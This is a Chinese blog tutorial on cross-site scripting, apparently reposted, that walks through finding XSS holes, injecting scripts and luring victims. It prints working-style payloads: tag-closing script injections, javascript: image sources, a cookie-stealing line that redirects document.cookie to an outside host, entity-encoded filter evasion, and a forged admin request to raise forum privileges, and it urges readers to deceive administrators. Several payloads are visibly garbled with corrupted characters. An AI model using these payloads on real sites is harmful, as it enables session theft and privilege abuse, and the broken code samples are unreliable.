什么是XSS攻击
XSS是跨站脚本攻击(Cross Site Script).它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该网页时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
本来跨站脚本攻击(Cross Site Scripting)应该缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此人们将跨站脚本攻击缩写为XSS.
跨站脚本攻击的危害
XSS攻击可以搜集用户信息,攻击者通常会在有漏洞的程序中插入JavaScript、VBScript、Activex或Flash以欺骗用户。
一旦得手,他们可以盗取用户账户,修改用户设置,盗取/污染cookie,做虚假广告,查看主机信息等。
例如,恶意代码将被欺骗用户的cookie收集起来进行cookie欺骗,或者是在访问者的电脑执行程序,比如后门木马或者是在系统上添加管理员账户。
由于xss漏洞很容易在大型网站中发现,在黑客圈内它非常流行。FBI.gov、CNN.com、Time.com、Ebay、Yahoo、Apple、Microsoft,、Kaspersky、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞。
例如Kaspersky:http://www.kasperskyusa.com/promotions/wp_index.php?threats ><script>alert(55)</script>
跨站脚本攻击发起条件
跨站脚本漏洞主要是由于Web服务器没有对用户的输入进行有效性验证或验证强度不够,而又轻易地将它们返回给客户端造成的
Web服务器允许用户在表格或编辑框中输入不相关的字符
Web服务器存储并允许把用户的输入显示在返回给终端用户的页面上,而这个回显并没有去除非法字符或者重新进行编码
实现跨站脚本的攻击至少需要两个条件
需要存在跨站脚本漏洞的Web应用程序;
需要用户点击连接或者是访问某一页面。
跨站脚本攻击过程
步骤一:寻找XSS漏洞
我们浏览的网页全部都是基于超文本标记语言(HTML)创建的,如显示一个超链接:<A href"http://www.baidu.com">baidu</A>
XSS攻击正是通过向HTML代码中注入恶意的脚本实现的,HTML指定了脚本标记为:<script></script>
在没有过滤字符的情况下,只需要保持完整无错的脚本标记即可触发XSS。假如我们在某个资料表单提交内容,表单提交内容就是某个标记属性所赋的值,我们可以构造如下值来闭合标记来构造完整无错的脚本标记:"><script>alert('XSS');</script><"
把这个内容赋值给前面<A>标记的href属性,则结果形成了"<A href-""><script>alert('XSS');</script><">baidu</A>"
假如要在网页里显示一张图片,那么就要使用<img>标记,示例如下:<img src"http://127.0.0.1/xss.gif">
浏览器的任务就是解释这个img标记,访问SRC属性所赋得值中的URL地址并输出图片
问题来了!浏览器会不会检测src属性所赋的值呢?答案是否!
那么我们就可以在这里大做文章了,接触过javascript的同学应该知道,javascript有一个URL伪协议,可以使用"javascript:"这种协议说明符加上任意的javascript代码,当浏览器装载这样的URL时,便会执行其中的代码。
于是我们就得出了一个经典的XSS示例:<img src "javascript:alert('XSS');">
把这个代码存储为1.htm,用IE浏览,会弹出一个由javascript调用的对话框。
在寻找XSS漏洞时,如果能看到源代码,我们主要看代码里对用户输入的地方和变量有没有做长度限制和对"<">",","和"等字符是否做过滤。
还需要注意的是对于标签的闭合,有的时候,你输入<script>alert(test')</script>,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,例如少了一个《/script>.
这个时候,你只要闭合一个《/script>,代码就会执行,如你输入:</script><script>alert(test')</script>,这样就可以弹出一个test的框。
步骤二:注入恶意代码
注入恶意代码的目的是:当被欺骗者访问了含有这段恶意代码的网页时,能实现你的攻击目的。
例如,通过这些恶意代码,将访问者的Cookie信息发到远端攻击者手中,或者是提升用户的论坛权限,上传任意文件等。
例如,把cookie发到远程的javascript代码可以这样写:
javascript:window.location-'http://www.cgisecurity.com/cgi-bin/cookie.cgi?'+ document.cookie
window.location的作用是使网页自动跳转到另一个页面document.cookie的作用是读取cookie.
当然,接收输入的网页可能会对<,>,',"等字符进行过滤,这时,就需要进行编码了。
IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,这种XSS转码支持10进制和16进制,SQL注入转码是将16进制字符串赋给一个变量,而XSS转码则是针对属性所赋的值,下面就拿<img src"javascript:alert('XSS');">示例。
<img
src="jϒ#1188#97sϦ#114ipt:aleѼ#116('X͆#83');">/10进制转码
<img
src="javascript:alert('XSS');">//16进制转码
通过编码,把cookie发到远程的script可以写成:
javascript:window.location&'http://www.cgisecurity.com/cgi-bin/cookie.cgi?'+document.cookie
其中,'的ASCII码是0x27。
当用户访问的网页含有这段脚本时,用户的cookie将被发送到www.cgisecurity.com/cgi-bin/cookie.cgi并被显示。
对于一个论坛程序,还可以根据论坛的特定编程方式来提升权限。
例如,一个论坛的后台通过admin_user.asp来修改用户的权限,用法是:admin user.asp?&username三xxx&membercode三yyy,意思是把xx用户的权限设置为yyy.
那么结合《img>标签,我们可以构造如下面的攻击代码。
<img src"javascript:window.locationhttp://127.0.0.1/admin luser.asp?&usernamexxx&membercode yyyy">
让用户浏览这张图片时,转去admin. luser.asp页面运行,并尝试把用户xxx的权限修改为yyy.
步骤三:欺骗用户访问
当你把恶意的代码插入到网页中之后,接下来要做的事情就是让目标用户来访问你的网页,"间接"通过这个目标用户来完成你的目的。
并不是所有用户都有足够的权限能帮你完成的恶意目的,例如刚才那个在论坛中提升用户权限的跨站脚本,一般的论坛只能超级管理员才有这个权限。
这时,你就需要诱骗他来访问你的恶意页面。欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!
推荐本站淘宝优惠价购买喜欢的宝贝:
本文链接:https://hqyman.cn/post/6918.html 非本站原创文章欢迎转载,原创文章需保留本站地址!
休息一下~~